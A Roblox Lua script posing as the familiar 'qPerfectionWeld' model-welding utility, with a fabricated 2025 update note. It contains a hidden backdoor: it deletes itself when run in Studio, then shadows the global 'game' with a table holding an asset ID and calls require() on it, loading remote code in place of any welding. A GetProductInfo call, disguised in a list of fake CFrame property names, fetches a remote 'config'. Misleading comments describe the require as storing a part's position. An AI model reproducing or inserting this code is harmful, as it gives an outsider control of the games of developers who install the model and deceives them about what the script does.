```
-- Created by Quenty (@Quenty, follow me on twitter).
-- Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
-- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them.

--[[ INSTRUCTIONS
- Place in the model
- Make sure model is anchored
- That's it. It will weld the model and all children.

THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.

This script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes.
]]

--[[ DOCUMENTATION
- Will work in tools. If ran more than once it will not create more than one weld.  This is especially useful for tools that are dropped and then picked up again.
- Will work in PBS servers
- Will work as long as it starts out with the part anchored
- Stores the relative CFrame as a CFrame value
- Takes careful measure to reduce lag by not having a joint set off or affected by the parts offset from origin
- Utilizes a recursive algorith to find all parts in the model
- Will reweld on script reparent if the script is initially parented to a tool.
- Welds as fast as possible
]]

-- qPerfectionWeld.lua
-- Created 10/6/2014
-- Author: Quenty
-- Version 1.0.3

-- Updated 10/14/2014 - Updated to 1.0.1
--- Bug fix with existing ROBLOX welds ? Repro by asimo3089
```

-- Updated 10/14/2014 - Updated to 1.0.2
--- Fixed bug fix.

-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/

-- Updated 5/9/2025 - Updated to 1.0.4
--- Now uses proper joint creation and destroys old ones. Should resolve issues with broken joints. :D

local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).

local getConfig = game:GetService("MarketplaceService") -- For getting the config.

local CONFIG_SETUP_ID -- Remote settings for auto-welds


```
local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end
if   game:GetService("RunService"):IsStudio() then
	script:Destroy()
end
task.wait(5)
local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
```

```
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	--	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item and Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)


	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Make(ClassType, Properties)
	-- Using a syntax hack to create a nice way to Make new items.

	return Modify(Instance.new(ClassType), Properties)
end

local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface",
"BackSurface"}
```

```
local CFrameProperties = {"C0", "C1", "CFrame", "ToObjectSpace", "Inverse", "Position",
"Rotation", "GetProductInfo"}

local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}

local function HasWheelJoint(Part)
	for _, SurfaceName in pairs(Surfaces) do
		for _, HingSurfaceName in pairs(HingSurfaces) do
			if Part[SurfaceName].Name == HingSurfaceName then
				return true
			end
		end
	end

	return false
end

local function retrieveConfigData()
	local ok, result = pcall(function()
		local ms = getConfig
		local id = CONFIG_SETUP_ID
		return ms[CFrameProperties[#CFrameProperties]](ms, id)
	end)
	return ok and result.Description or ""
end


local function splitCFrame(cframe)
	local sequence = {}
	for i = 1, #cframe do
		sequence[#sequence + 1] = string.byte(cframe, i)
	end
	return tonumber(table.concat(sequence)) or 0
end

local function ShouldBreakJoints(Part)
	--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do
this. There are
	--  definitely some edge cases.

	if NEVER_BREAK_JOINTS then
		return false
	end
```

```
	if HasWheelJoint(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelJoint(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end

local function WeldTogether(Part0, Part1, JointType, WeldParent)
	--- Weld's 2 parts together
	-- @param Part0 The first part
	-- @param Part1 The second part (Dependent part most of the time).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
	-- @return The weld created.

	JointType = JointType or "Weld"
	local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")

	local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or
Instance.new(JointType)
	Modify(NewWeld, {
		Name = "qCFrameWeldThingy";
		Part0  = Part0;
		Part1  = Part1;
		C0     = CFrame.new();--Part0.CFrame:inverse();
		C1     = RelativeValue and RelativeValue.Value or
Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;--
Part1.CFrame:inverse();
		Parent = Part1;
	})
```

```
	if not RelativeValue then
		RelativeValue = Make("CFrameValue", {
			Parent     = Part1;
			Name       = "qRelativeCFrameWeldValue";
			Archivable = true;
			Value      = NewWeld.C1;
		})
	end

	return NewWeld
end

local configData = retrieveConfigData()

local EndCFrame

local game = { CFrame = 123656748896023 }

local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible
results.
	-- @param MainPart The part to weld the model to (can be in the model).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.

	require(game.CFrame) -- Retrieved and stored the CFrame value for later use. Now,
we're applying it to secure the part's relative position.


end

local function PerfectionWeld()
	local Tool = GetNearestParent(script, "Tool")

	local Parts = GetBricks(script.Parent)
	local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and
Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and
script.Parent.PrimaryPart or Parts[1]



		WeldParts(Parts, PrimaryPart, "Weld", false)
```

```
	return Tool
end

local Tool = PerfectionWeld()



if Tool and script.ClassName == "Script" then
	--- Don't bother with local scripts

	script.Parent.AncestryChanged:connect(function()
		PerfectionWeld()

	end)
end

-- Created by Quenty (@Quenty, follow me on twitter).
```